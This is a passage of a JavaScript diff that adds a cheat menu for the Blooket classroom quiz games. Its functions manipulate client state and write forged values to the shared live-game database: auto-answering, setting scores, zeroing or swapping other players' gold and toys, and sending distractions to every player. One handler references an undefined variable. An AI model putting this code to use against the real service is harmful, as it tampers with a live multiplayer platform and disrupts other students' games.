Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ cash }); + } + } + ], + }, + fishing: { + name: "Fishing Frenzy", + img: "https://media.blooket.com/image/upload/v1661496295/Media/uiTest/Fish_Weight.svg", + cheats: [ + { + name: "Frenzy", + description: "Sets everyone to frenzy mode", + run: function () { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.props.liveGameController.setVal({ + path: `c/${stateNode.props.client.name}`, + val: { + b: stateNode.props.client.blook, + w: stateNode.state.weight, + f: "Frenzy", + s: true + } + }); + } + }, + { + name: "Remove Distractions", + description: "Removes distractions", + type: "toggle", + enabled: false, + data: null, + run: function () { + if (!this.enabled) { + this.enabled = true; + this.data = setInterval(() => { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ party: "" }); + }, 50); + } else { + this.enabled = false; + clearInterval(this.data); + this.data = null; + } + } + }, + { + name: "Send Distraction", + description: "Sends a distraction to everyone", + inputs: [{ + name: "Distraction", + type: "options", + options: ["Crab", "Jellyfish", "Frog", "Pufferfish", "Octopus", "Narwhal", "Megalodon", "Blobfish", "Baby Shark"] + }], + run: function (f) { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + i.remove(); + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.safe = true; + stateNode.props.liveGameController.setVal({ + path: `c/${stateNode.props.client.name}`, + val: { + b: stateNode.props.client.blook, + w: stateNode.state.weight, f, s: true + } + }); + } + }, + { + name: "Set Lure", + description: "Sets fishing lure (range 1 - 5)", + inputs: [{ + name: "Lure (1 - 5)", + type: "number", + min: 1, + max: 5 + }], + run: function (lure) { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ lure: Math.max(Math.min(lure - 1, 4), 0) }); + } + }, + { + name: "Set Weight", + description: "Sets weight", + inputs: [{ + name: "Weight", + type: "number" + }], + run: function (weight) { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ weight, weight2: weight }); + stateNode.props.liveGameController.setVal({ + path: `c/${stateNode.props.client.name}`, + val: { + b: stateNode.props.client.blook, + w: weight, + f: ["Crab", "Jellyfish", "Frog", "Pufferfish", "Octopus", "Narwhal", "Megalodon", "Blobfish", "Baby Shark"][Math.floor(Math.random() * 9)] + } + }); + } + } + ], + }, + flappy: { + name: "Flappy Blook", + img: "https://media.blooket.com/image/upload/v1645222006/Blooks/yellowBird.svg", + cheats: [ + { + name: "Toggle Ghost", + description: "Lets you go through the pipes", + type: "toggle", + enabled: false, + run: function () { + this.enabled = !this.enabled; + Object.values(document.querySelector("#phaser-bouncy"))[1].children[0]._owner.stateNode.state.game.scene.physics.world.bodies.entries.forEach(x => x.gameObject.frame.texture.key.startsWith("blook") && (x.checkCollision.none = this.enabled, x.gameObject.setAlpha(this.enabled ? 0.5 : 1))); + } + }, + { + name: "Set Score", + description: "Sets flappy blook score", + inputs: [{ + name: "Score", + type: "number" + }], + run: function (score) { + Object.values(document.querySelector("#phaser-bouncy"))[1].children[0]._owner.stateNode.setState({ score }); + } + } + ], + }, + gold: { + name: "Gold Quest", + img: "https://media.blooket.com/image/upload/v1661496292/Media/uiTest/Gold.svg", + cheats: [ + { + name: "Always Triple", + description: "Always get triple gold", + type: "toggle", + enabled: false, + data: null, + run: function () { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode._choosePrize ||= stateNode.choosePrize; + if (!this.enabled) { + this.enabled = true; + this.data = setInterval(() => { + stateNode.choosePrize = function (i) { + stateNode.state.choices[i] = { type: "multiply", val: 3, text: "Triple Gold!", blook: "Unicorn" }; + stateNode._choosePrize(i); + } + }, 50); + } else { + this.enabled = false; + clearInterval(this.data); + this.data = null; + stateNode.choosePrize = stateNode._choosePrize || stateNode.choosePrize; + } + } + }, + { + name: "Auto Choose", + description: "Automatically picks the option that would give you the most gold", + type: "toggle", + enabled: false, + data: null, + run: function () { + if (!this.enabled) { + this.enabled = true; + this.data = setInterval(async () => { + try { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + if (stateNode.state.stage === "prize") { + const players = Object.entries(await new Promise(r => stateNode.props.liveGameController.getDatabaseVal("c", c => c && r(c))) || []).filter(x => x[0] != stateNode.props.client.name).sort((a, b) => b[1].g - a[1].g)[0]?.[1]?.g || 0; + let max = 0; index = -1; + for (let i = 0; i < stateNode.state.choices.length; i++) { + const { type, val } = stateNode.state.choices[i]; + let value = stateNode.state.gold; + switch (type) { + case "gold": value = stateNode.state.gold + val || stateNode.state.gold; break; + case "multiply": + case "divide": value = Math.round(stateNode.state.gold * val) || stateNode.state.gold; break; + case "swap": value = players || stateNode.state.gold; + case "take": value = stateNode.state.gold + players * val || stateNode.state.gold; + } + if ((value || 0) <= max) continue; + max = value, index = i + 1; + } + document.querySelector(`div[class^='styles__choice${index}']`).click(); + } + } catch { } + }, 50); + } else { + this.enabled = false; + clearInterval(this.data); + this.data = null; + } + } + }, + { + name: "Chest ESP", + description: "Shows what each chest will give you", + type: "toggle", + enabled: false, + data: null, + run: function () { + if (!this.enabled) { + this.enabled = true; + this.data = setInterval(() => { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.choices.forEach(({ text }, index) => { + let chest = document.querySelector(`div[class^='styles__choice${index + 1}']`); + if (!chest || chest.querySelector('div')) return; + let choice = document.createElement('div'); + choice.style.color = "white"; + choice.style.fontFamily = "Eczar"; + choice.style.fontSize = "2em"; + choice.style.display = "flex"; + choice.style.justifyContent = "center"; + choice.style.transform = "translateY(200px)"; + choice.innerText = text; + chest.append(choice); + }); + }, 50); + } else { + this.enabled = false; + clearInterval(this.data); + this.data = null; + } + } + }, + { + name: "Reset Players Gold", + description: "Sets a player's gold to 0", + inputs: [{ + name: "Player", + type: "options", + options: () => { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + return new Promise(res => stateNode.props.liveGameController?._liveApp ? stateNode.props.liveGameController.getDatabaseVal("c", (players) => players && res(Object.keys(players))) : res([])); + } + }], + run: function (target) { + let { stateNode: { props, state } } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + props.liveGameController.setVal({ + path: "c/".concat(props.client.name), + val: { + b: props.client.blook, + g: state.gold, + tat: `${target}:swap:0` + } + }); + } + }, + { + name: "Set Gold", + description: "Sets amount of gold", + inputs: [{ + name: "Gold", + type: "number" + }], + run: function (gold) { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ gold, gold2: gold }); + stateNode.props.liveGameController.setVal({ + path: "c/".concat(stateNode.props.client.name), + val: { + b: stateNode.props.client.blook, + g: gold + } + }); + } + }, + { + name: "Swap Gold", + description: "Swaps gold with someone", + inputs: [{ + name: "Player", + type: "options", + options: () => { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + return new Promise(res => stateNode.props.liveGameController?._liveApp ? stateNode.props.liveGameController.getDatabaseVal("c", (players) => players && res(Object.keys(players))) : res([])); + } + }], + run: function (target) { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.props.liveGameController.getDatabaseVal("c", (players) => { + if (!players?.[target]) return; + let { g } = players[target]; + stateNode.props.liveGameController.setVal({ + path: "c/".concat(stateNode.props.client.name), + val: { + b: stateNode.props.client.blook, + g, + tat: `${target}:swap:${stateNode.state.gold}` + } + }); + stateNode.setState({ gold: g, gold2: g }); + }); + } + }, + { + name: "Reset All Players' Gold", + description: "Set's everyone else's gold to 0", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + i.remove(); + let { stateNode: { props, state } } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + let count = 0; + props.liveGameController.getDatabaseVal("c", async (players) => { + if (players) for (const player of Object.keys(players)) { + props.liveGameController.setVal({ + path: "c/".concat(props.client.name), + val: { + b: props.client.blook, + g: state.gold, + tat: `${player}:swap:0` + } + }); + count++; + await new Promise(r => setTimeout(r, 4000)); + }; + alert(`Reset ${count} players' gold!`); + }); + } + } + ], + }, + kingdom: { + name: "Crazy Kingdom", + img: "https://media.blooket.com/image/upload/v1655161323/Media/survivor/Jester_lvl1.svg", + cheats: [ + { + name: "Choice ESP", + description: "Shows you what will happen if you say Yes or No", + type: "toggle", + enabled: false, + data: null, + run: function () { + if (!this.enabled) { + this.enabled = true; + let stats = ['materials', 'people', 'happiness', 'gold']; + let elements = Object.fromEntries([...document.querySelectorAll('[class^=styles__statContainer]')].map((container, i) => [stats[i], container])); + this.data = setInterval(() => { + let { guest: data, phase } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state; + if (phase == "choice") { + Array.from(document.getElementsByClassName('choiceESP')).forEach(x => x.remove()); + Object.entries(data.yes || {}).forEach(x => { + if (x[0] == 'msg' || !stats.includes(x[0])) return; + let element = document.createElement('div'); + element.className = 'choiceESP'; + element.style = 'font-size: 24px; color: rgb(75, 194, 46); font-weight: bolder;'; + element.innerText = String(x[1]); + elements[x[0]].appendChild(element); + }); + Object.entries(data.no || {}).forEach(x => { + if (x[0] == 'msg' || !stats.includes(x[0])) return; + let element = document.createElement('div'); + element.className = 'choiceESP'; + element.style = 'font-size: 24px; color: darkred; font-weight: bolder;'; + element.innerText = String(x[1]); + elements[x[0]].appendChild(element); + }); + } + }, 50); + } else { + this.enabled = false; + clearInterval(this.data); + Array.from(document.getElementsByClassName('choiceESP')).forEach(x => x.remove()); + this.data = null; + } + } + }, + { + name: "Disable Tax Toucan", + description: "Tax evasion", + run: function () { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.taxCounter = Number.MAX_VALUE; + } + }, + { + name: "Max Stats", + description: "Sets all resources to the max", + run: function () { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ materials: 100, people: 100, happiness: 100, gold: 100 }); + } + }, + { + name: "Set Guests", + description: "Sets the amount of guests you've seen", + inputs: [{ + name: "Guests", + type: "number" + }], + run: function (guestScore) { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ guestScore }); + } + }, + { + name: "Skip Guest", + description: "Skips the current guest", + run: function () { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.nextGuest(); + } + } + ], + }, + racing: { + name: "Racing", + img: "https://media.blooket.com/image/upload/v1661496295/Media/uiTest/Racing_Progress.svg", + cheats: [{ + name: "Instant Win", + description: "Instantly Wins the race", + run: function () { + const { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ progress: stateNode.state.goalAmount }, () => { + const { state: { question } } = stateNode; + try { + [...document.querySelectorAll(`[class*="answerContainer"]`)][question.answers.map((x, i) => question.correctAnswers.includes(x) ? i : null).filter(x => x != null)[0]]?.click?.(); + } catch { } + }); + } + }], + }, + royale: { + name: "Battle Royale", + img: "https://media.blooket.com/image/upload/v1655936179/Media/br/VS_Lightning_Bolt_Bottom.svg", + cheats: [ + { + name: "Auto Answer (Toggle)", + description: "Toggles auto answer on", + type: "toggle", + enabled: false, + data: null, + run: function () { + if (!this.enabled) { + this.enabled = true; + this.data = setInterval(() => { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode?.onAnswer?.(true, stateNode.props.client.question.correctAnswers[0]); + }, 50); + } else { + this.enabled = false; + clearInterval(this.data); + this.data = null; + } + } + }, + { + name: "Auto Answer", + description: "Chooses the correct answer for you", + run: function () { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode?.onAnswer?.(true, stateNode.props.client.question.correctAnswers[0]); + } + }, + ], + }, + rush: { + name: "Blook Rush", + img: Object.values(webpack.c).find(x => x.exports.a?.basic).exports.a.basic.shield, + cheats: [ + { + name: "Set Blooks", + description: "Sets amount of blooks you or your team has", + inputs: [{ + name: "Blooks", + type: "number" + }], + run: function (numBlooks) { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ numBlooks }); + stateNode.isTeam ? stateNode.props.liveGameController.setVal({ + path: `a/${stateNode.props.client.name}/bs`, + val: numBlooks + }) : stateNode.props.liveGameController.setVal({ + path: `c/${stateNode.props.client.name}/bs`, + val: numDefense + }); + } + }, + { + name: "Set Defense", + description: "Sets amount of defense you or your team has (Max 4)", + inputs: [{ + name: "Defense (max 4)", + type: "number", + max: 4 + }], + run: function (defense) { + let numDefense = Math.min(defense, 4); + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ numDefense }); + stateNode.isTeam ? stateNode.props.liveGameController.setVal({ + path: `a/${stateNode.props.client.name}/d`, + val: numDefense + }) : stateNode.props.liveGameController.setVal({ + path: `c/${stateNode.props.client.name}/d`, + val: numDefense + }); + } + } + ], + }, + workshop: { + name: "Santa's Workshop", + img: Object.values(webpack.c).find(x => x.exports.a?.basic).exports.a.basic.toy, + cheats: [ + { + name: "Remove Distractions", + description: "Removes all enemy distractions", + run: function () { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ fog: !1, dusk: !1, wind: !1, plow: !1, blizzard: !1, force: !1, canada: !1, trees: [!1, !1, !1, !1, !1, !1, !1, !1, !1, !1] }); + } + }, + { + name: "Send Distraction", + description: "Sends a distraction to everyone else playing", + inputs: [{ + name: "Distraction", + type: "options", + options: Object.entries({ c: "Oh Canada", b: "Blizzard", f: "Fog Spell", d: "Dark & Dusk", w: "Howling Wind", g: "Gift Time!", t: "TREES", s: "Snow Plow", fr: "Use The Force" }).map(([value, name]) => ({ name, value })) + }], + run: function (val) { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.safe = true; + stateNode.props.liveGameController.setVal({ path: `c/${stateNode.props.client.name}/tat`, val }); + } + }, + { + name: "Set Toys", + description: "Sets amount of toys", + inputs: [{ + name: "Toys", + type: "number" + }], + run: function (toys) { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ toys }); + stateNode.props.liveGameController.setVal({ + path: "c/".concat(stateNode.props.client.name), + val: { + b: stateNode.props.client.blook, + t: toys + } + }); + } + }, + { + name: "Set Toys Per Question", + description: "Sets amount of toys per question", + inputs: [{ + name: "Toys Per Question", + type: "number" + }], + run: function (toysPerQ) { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ toysPerQ }); + } + }, + { + name: "Swap Toys", + description: "Swaps toys with someone", + inputs: [{ + name: "Player", + type: "options", + options: () => { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + return new Promise(res => stateNode.props.liveGameController?._liveApp ? stateNode.props.liveGameController.getDatabaseVal("c", (players) => players && res(Object.keys(players))) : res([])); + } + }], + run: function (target) { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.props.liveGameController.getDatabaseVal("c", (players) => { + if (players && Object.keys(players).map(x => x.toLowerCase()).includes(target.toLowerCase())) { + let [player, { t: toys }] = Object.entries(players).find(([name]) => name.toLowerCase() == target.toLowerCase()); + stateNode.props.liveGameController.setVal({ + path: "c/".concat(stateNode.props.client.name), + val: { + b: stateNode.props.client.blook, + t: toys, + tat: `${player}:swap:${stateNode.state.toys}` + } + }); + stateNode.setState({ toys }); + } + }); + } + } + ], + }, + settings: { + name: "Settings", + img: null, + cheats: [ + { + name: "Import Settings", + description: "Import a custom theme", + inputs: [ + { + name: "JSON Data", + type: "string" + } + ], + run: function (theme) { + try { + JSON.parse(theme); + } catch (e) { + return alert("Invalid JSON provided"); + } + theme = { backgroundColor: "rgb(11, 194, 207)", infoColor: "#9a49aa", cheatList: "#9a49aa", defaultButton: "#9a49aa", disabledButton: "#A02626", enabledButton: "#47A547", textColor: "white", inputColor: "#7a039d", contentBackground: "rgb(64, 17, 95)", ...JSON.parse(theme) } + settings.setItem("theme", theme); + } + }, + { + name: "Export Settings", + description: "Export the current theme to JSON", + run: async function () { + await navigator.clipboard.writeText(JSON.stringify(settings.data.theme, null, 4)); + prompt("Text copied to clipboard. (Paste below to test)"); + } + }, + { + name: "Defaults", + description: "Changes all the settings to a preset", + inputs: [ + { + name: "Theme", + type: "options", + options: [ + { + name: "Default", + value: { + backgroundColor: "rgb(11, 194, 207)", + infoColor: "#9a49aa", + cheatList: "#9a49aa", + defaultButton: "#9a49aa", + disabledButton: "#A02626", + enabledButton: "#47A547", + textColor: "white", + inputColor: "#7a039d", + contentBackground: "rgb(64, 17, 95)" + } + }, + { + name: "Blacket", + value: { + backgroundColor: "#4f4f4f", + infoColor: "#2f2f2f", + cheatList: "#2f2f2f", + defaultButton: "#4f4f4f", + disabledButton: "#eb6234", + enabledButton: "#00c20c", + textColor: "white", + inputColor: "#3f3f3f", + contentBackground: "#2f2f2f" + } + }, + { + name: "Skool.lol", + value: { + backgroundColor: "linear-gradient(90deg, rgba(104,45,140,1) 220px, rgba(237,30,121,1) 100%)", + cheatList: "#1e2124", + infoColor: "#1e2124", + defaultButton: "#36393e", + inputColor: "#1e2124", + enabledButton: "#9c9a9a", + textColor: "white", + disabledButton: "#171717", + contentBackground: "#292929" + } + }, + { + name: "Blue - Purple Background", + value: { + backgroundColor: "linear-gradient(162.5deg, rgba(0,183,255,1) 220px, rgba(128,0,255,1) 100%)" + } + }, + { + name: "Saint Patricks Background", + value: { + backgroundColor: "rgb(9, 148, 65)" + } + }, + { + name: "Halloween Background", + value: { + backgroundColor: "rgb(41, 41, 41)" + } + }, + { + name: "Fall Background", + value: { + backgroundColor: "rgb(224, 159, 62)" + } + }, + { + name: "Winter Background", + value: { + backgroundColor: "linear-gradient(rgb(49, 170, 224), rgb(187, 221, 255))" + } + }, + { + name: "Crypto Hack", + value: { + backgroundColor: "radial-gradient(#11581e,#041607)", + infoColor: "#1a1a1a", + cheatList: "#1a1a1a", + defaultButton: "rgb(88 175 88)", + disabledButton: "#A02626", + enabledButton: "#0b601b", + textColor: "white", + inputColor: "rgb(0 0 0 / 25%)", + contentBackground: "#11581e" + } + }, + { + name: "Fishing Frenzy", + value: { + backgroundColor: "linear-gradient(180deg,#9be2fe 0,#67d1fb)", + infoColor: "#c8591e", + cheatList: "#c8591e", + defaultButton: "#ff751a", + disabledButton: "#bf0e0e", + enabledButton: "#2fb62f", + textColor: "white", + inputColor: "rgb(0 0 0 / 25%)", + contentBackground: "radial-gradient(#02b0ea 40%, #1d86ea)" + } + }, + { + name: "Deceptive Dinos", + value: { + backgroundColor: "radial-gradient(rgba(220, 184, 86, 0), rgba(220, 184, 86, 0.4)), url(\"https://ac.blooket.com/play/111cb7e0ee6607ac3d1a13d534c0e0f1.png\"), #ead49a", + infoColor: "#af8942", + cheatList: "#af8942", + defaultButton: "#af8942", + disabledButton: "#A02626", + enabledButton: "#47A547", + textColor: "white", + inputColor: "rgb(0 0 0 / 10%)", + contentBackground: "radial-gradient(rgba(1,104,162,.6),rgba(24,55,110,.5)),radial-gradient(#2783b4 1.5px,#18376e 0) center / 24px 24px" + } + }, + { + name: "Blook Rush", + value: { + backgroundColor: "repeating-linear-gradient(45deg,white,white 8%,#e6e6e6 0,#e6e6e6 16%)", + defaultButton: "#36c", + inputColor: "rgb(0 0 0 / 25%)", + infoColor: "#36c", + cheatList: "#36c", + contentBackground: "#888", + textColor: "white", + disabledButton: "#A02626", + enabledButton: "#47A547" + } + }, + { + name: "Factory", + value: { + defaultButton: "#1563bf", + infoColor: "#a5aabe", + cheatList: "#a5aabe", + contentBackground: "#2d313d", + backgroundColor: "#3a3a3a", + enabledButton: "rgb(75, 194, 46)", + disabledButton: "#9a49aa", + inputColor: "rgb(0 0 0 / 25%)", + textColor: "white" + } + }, + { + name: "Cafe", + value: { + backgroundColor: "linear-gradient(90deg,rgba(200,0,0,.5) 50%,transparent 0) center / 50px 50px,linear-gradient(rgba(200,0,0,0.5) 50%,transparent 0) white center / 50px 50px", + defaultButton: "#0bc2cf", + inputColor: "rgb(0 0 0 / 25%)", + infoColor: "#ac7339", + cheatList: "#ac7339", + contentBackground: "rgb(64, 64, 64)", + textColor: "white", + disabledButton: "#A02626", + enabledButton: "#47A547" + } + }, + { + name: "Tower of Doom", + value: { + backgroundColor: "rgb(41 41 41)", + disabledButton: "rgb(151, 15, 5)", + defaultButton: "#333", + inputColor: "rgb(0 0 0 / 25%)", + contentBackground: "#404040", + enabledButton: "#4bc22e", + textColor: "white", + infoColor: "#9a49aa", + cheatList: "#9a49aa" + } + }, + { + name: "Monster Brawl", + value: { + defaultButton: "rgb(45, 51, 67)", + backgroundColor: "rgb(78, 95, 124)", + inputColor: "rgb(0 0 0 / 25%)", + contentBackground: "linear-gradient(0deg,#374154,#4f5b74)", + infoColor: "#374154", + cheatList: "#374154", + textColor: "white", + enabledButton: "#47A547", + disabledButton: "#A02626" + } + }, + { + name: "Tower Defense 2", + value: { + backgroundColor: "url(https://media.blooket.com/image/upload/v1676164454/Media/defense/backgroundTd1-02.svg) center / cover", + cheatList: "#a33c22", + infoColor: "#a33c22", + defaultButton: "#40b1d8", + inputColor: "#3e8cbe", + contentBackground: "#293c82", + enabledButton: "#47A547", + disabledButton: "#A02626", + textColor: "white" + } + }, + ] + } + ], + run: function (theme) { + settings.setItem("theme", { ...settings.data.theme, ...theme }); + } + }, + { + name: "Scale", + description: "Forces the GUI to scale from 25%-100%", + inputs: [ + { + type: "number", + name: "Percent scale", + min: 25, + max: 100, + value: (settings.data?.scale || 1) * 100 + } + ], + run: function (scale) { + scale = Math.min(Math.max(scale, 25), 100); + settings.setItem("scale", scale / 100); + guiWrapper.style.transform = `scale(${(scale / 100)})`; + } + }, + { + name: "Hide Keybind", + description: "Change the hide keybind (Click button after input to change)", + inputs: [ + { + type: "function", + name: "Input", + function: onchange => createKeybindListener(({ shift, ctrl, alt, key }) => onchange(`${[ctrl && "Ctrl", shift && "Shift", alt && "Alt", key && key.toUpperCase()].filter(Boolean).join(' + ')}`)) + } + ], + run: function (hide) { + settings.setItem("hide", hide); + } + }, + { + name: "Close Keybind", + description: "Change the quick close keybind (Click button after input to change)", + inputs: [ + { + type: "function", + name: "Input", + function: onchange => createKeybindListener(({ shift, ctrl, alt, key }) => onchange(`${[ctrl && "Ctrl", shift && "Shift", alt && "Alt", key && key.toUpperCase()].filter(Boolean).join(' + ')}`)) + } + ], + run: function (close) { + settings.setItem("close", close); + } + }, + { + name: "Background Color", + description: "Changes the background color of the GUI", + inputs: [{ + type: "string", + name: "Color" + }], + run: function (color) { + settings.setItem("theme.backgroundColor", color); + } + }, + { + name: "Category List Color", + description: "Changes the categories list background color", + inputs: [{ + type: "string", + name: "Color" + }], + run: function (color) { + settings.setItem("theme.cheatList", color); + } + }, + { + name: "Info Color", + description: "Changes the color of the information at the top of the GUI", + inputs: [{ + type: "string", + name: "Color" + }], + run: function (color) { + settings.setItem("theme.infoColor", color); + } + }, + { + name: "Button Color", + description: "Changes the color of the cheats", + inputs: [{ + type: "string", + name: "Color" + }], + run: function (color) { + settings.setItem("theme.defaultButton", color); + } + }, + { + name: "Enabled Toggle Color", + description: "Changes the color of enabled toggle cheats", + inputs: [{ + type: "string", + name: "Color" + }], + run: function (color) { + settings.setItem("theme.enabledButton", color); + } + }, + { + name: "Disabled Toggle Color", + description: "Changes the color of disabled toggle cheats", + inputs: [{ + type: "string", + name: "Color" + }], + run: function (color) { + settings.setItem("theme.disabledButton", color); + } + }, + { + name: "Text Color", + description: "Changes the text color", + inputs: [{ + type: "string", + name: "Color" + }], + run: function (color) { + settings.setItem("theme.textColor", color); + } + }, + { + name: "Input Color", + description: "Changes the color of inputs, like the set gold number input", + inputs: [{ + type: "string", + name: "Color" + }], + run: function (color) { + settings.setItem("theme.inputColor", color); + } + }, + { + name: "Content Color", + description: "Changes the background color of the cheats", + inputs: [{ + type: "string", + name: "Color" + }], + run: function (color) { + settings.setItem("theme.contentBackground", color); + } + } + ] + }, + alerts: { + name: "Alerts", + img: null, + alerts: [{ message: "[LOG] GUI opened" }], + diffObjects(obj1, obj2) { + const changed = {}; + + for (const key in obj1) { + if (!(key in obj2)) continue; + if (typeof obj1[key] === "object" && typeof obj2[key] === "object") { + const recChanged = Cheats.alerts.diffObjects(obj1[key], obj2[key]); + if (recChanged && Object.keys(recChanged).length !== 0) changed[key] = recChanged; + } else if (JSON.stringify(obj1[key]) !== JSON.stringify(obj2[key])) changed[key] = obj2[key]; + } + + for (const key in obj2) if (!(key in obj1)) changed[key] = obj2[key]; + + if (Object.keys(changed).length == 0) return null; + return changed; + }, + addLog(message, color) { + if (!Cheats.alerts.visible) Cheats.alerts.alerts.push({ message, color }); + else Cheats.alerts.setAlerts(a => [...a, { message, color }]); + }, + addAlert(name, blook, message) { + let alert = { + message: React.createElement(React.Fragment, null, React.createElement("img", { + src: blook || Cheats.alerts.blookData?.Black?.url, + alt: "Blook", + style: { + height: "22.5px", + margin: "0 10px -5px 0" + } + }), React.createElement("strong", null, name), " ", message) + } + if (!Cheats.alerts.visible) Cheats.alerts.alerts.push(alert); + else Cheats.alerts.setAlerts(a => [...a, alert]); + }, + getGamemode() { + switch (window.location.pathname) { + case "/play/racing": + return "racing"; + case "/play/factory": + return "factory"; + case "/play/classic/get-ready": + case "/play/classic/question": + case "/play/classic/answer/sent": + case "/play/classic/answer/result": + case "/play/classic/standings": + return "classic"; + case "/play/battle-royale/match/preview": + case "/play/battle-royale/question": + case "/play/battle-royale/answer/sent": + case "/play/battle-royale/answer/result": + case "/play/battle-royale/match/result": + return "royale"; + case "/play/toy": + return "workshop"; + case "/play/gold": + return "gold"; + case "/play/brawl": + return "brawl"; + case "/play/hack": + return "hack"; + case "/play/fishing": + return "fishing"; + case "/play/rush": + return "rush"; + case "/play/dino": + return "dino"; + case "/tower/map": + case "/tower/battle": + case "/tower/rest": + case "/tower/risk": + case "/tower/shop": + case "/tower/victory": + return "doom"; + case "/cafe": + case "/cafe/shop": + return "cafe"; + case "/defense": + return "defense"; + case "/play/defense2": + return "defense2"; + case "/kingdom": + return "kingdom"; + default: + return false; + } + }, + connection: null, + data: {}, + async connect() { + try { + const { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + if (!stateNode?.props?.liveGameController?._liveGameCode) return false; + Cheats.alerts.connection = await stateNode.props.liveGameController.getDatabaseRef("c"); + const blooks = Cheats.alerts.blookData; + const gamemode = Cheats.alerts.getGamemode(); + const factoryGlitches = Object.values(webpack.c).find(x => x.exports.a?.["Lunch Break"]).exports.b; + Cheats.alerts.connection.on("value", snapshot => { + const players = snapshot.val() || {}; + if (!players || !Cheats.alerts.diffObjects(Cheats.alerts.data, players)) return; + const added = Cheats.alerts.diffObjects(Cheats.alerts.data, players) + Cheats.alerts.data = players; + let standings; + switch (gamemode) { + case "racing": + standings = Object.entries(players).map(([name, { b, pr }]) => ({ name, blook: b, value: pr || 0 })); + case "classic": + standings = Object.entries(players).map(([name, { b, p }]) => ({ name, blook: b, value: p || 0 })); + case "royale": + standings = Object.entries(players).map(([name, { b, e }]) => ({ name, blook: b, value: e || 0 })); + case "workshop": + standings = Object.entries(players).map(([name, { b, t }]) => ({ name, blook: b, value: t || 0 })); + case "brawl": + standings = Object.entries(players).map(([name, { b, xp }]) => ({ name, blook: b, value: xp || 0 })); + case "defense": + case "defense2": + standings = Object.entries(players).map(([name, { b, d }]) => ({ name, blook: b, value: d || 0 })); + case "gold": + for (const player in added) { + if (!added[player].tat) continue; + const [tat, amount] = added[player].tat.split(':'); + if (amount == "swap") Cheats.alerts.addAlert(player, blooks[players[player].b]?.url, `just swapped with ${tat}`); + else Cheats.alerts.addAlert(player, blooks[players[player].b]?.url, `just took ${Cheats.alerts.formatNumber(parseInt(amount))} gold from ${tat}`); + } + standings = Object.entries(players).map(([name, { b, g }]) => ({ name, blook: b, value: g || 0 })); + break; + case "hack": + for (const player in added) { + if (!added[player].tat) continue; + const [tat, amount] = added[player].tat.split(':'); + Cheats.alerts.addAlert(player, blooks[players[player].b]?.url, `just took ${Cheats.alerts.formatNumber(parseInt(amount))} crypto from ${tat}`); + } + standings = Object.entries(players).map(([name, { b, cr }]) => ({ name, blook: b, value: cr || 0 })); + break; + case "fishing": + for (const player in added) { + if (added[player].f == "Frenzy") Cheats.alerts.addAlert(player, blooks[players[player].b]?.url, `just started a frenzy`); + else if (added[player].s) Cheats.alerts.addAlert(player, blooks[players[player].b]?.url, `just sent a ${added[player].f} distraction`); + } + standings = Object.entries(players).map(([name, { b, w }]) => ({ name, blook: b, value: w || 0 })); + break; + case "dino": + for (const player in added) { + if (!added[player].tat) continue; + const [tat, caught] = added[player].tat.split(':'); + if (caught == "true") Cheats.alerts.addAlert(player, blooks[players[player].b]?.url, `just caught ${tat} CHEATING!`); + else Cheats.alerts.addAlert(player, blooks[players[player].b]?.url, `investigated ${tat}`); + } + standings = Object.entries(players).map(([name, { b, f }]) => ({ name, blook: b, value: f || 0 })); + break; + case "cafe": + for (const player in added) { + if (!added[player].up) continue; + const [upgrade, level] = added[player].up.split(":"); + if (level) Cheats.alerts.addAlert(player, blooks[players[player].b]?.url, `upgraded ${upgrade} to level ${level}`); + } + standings = 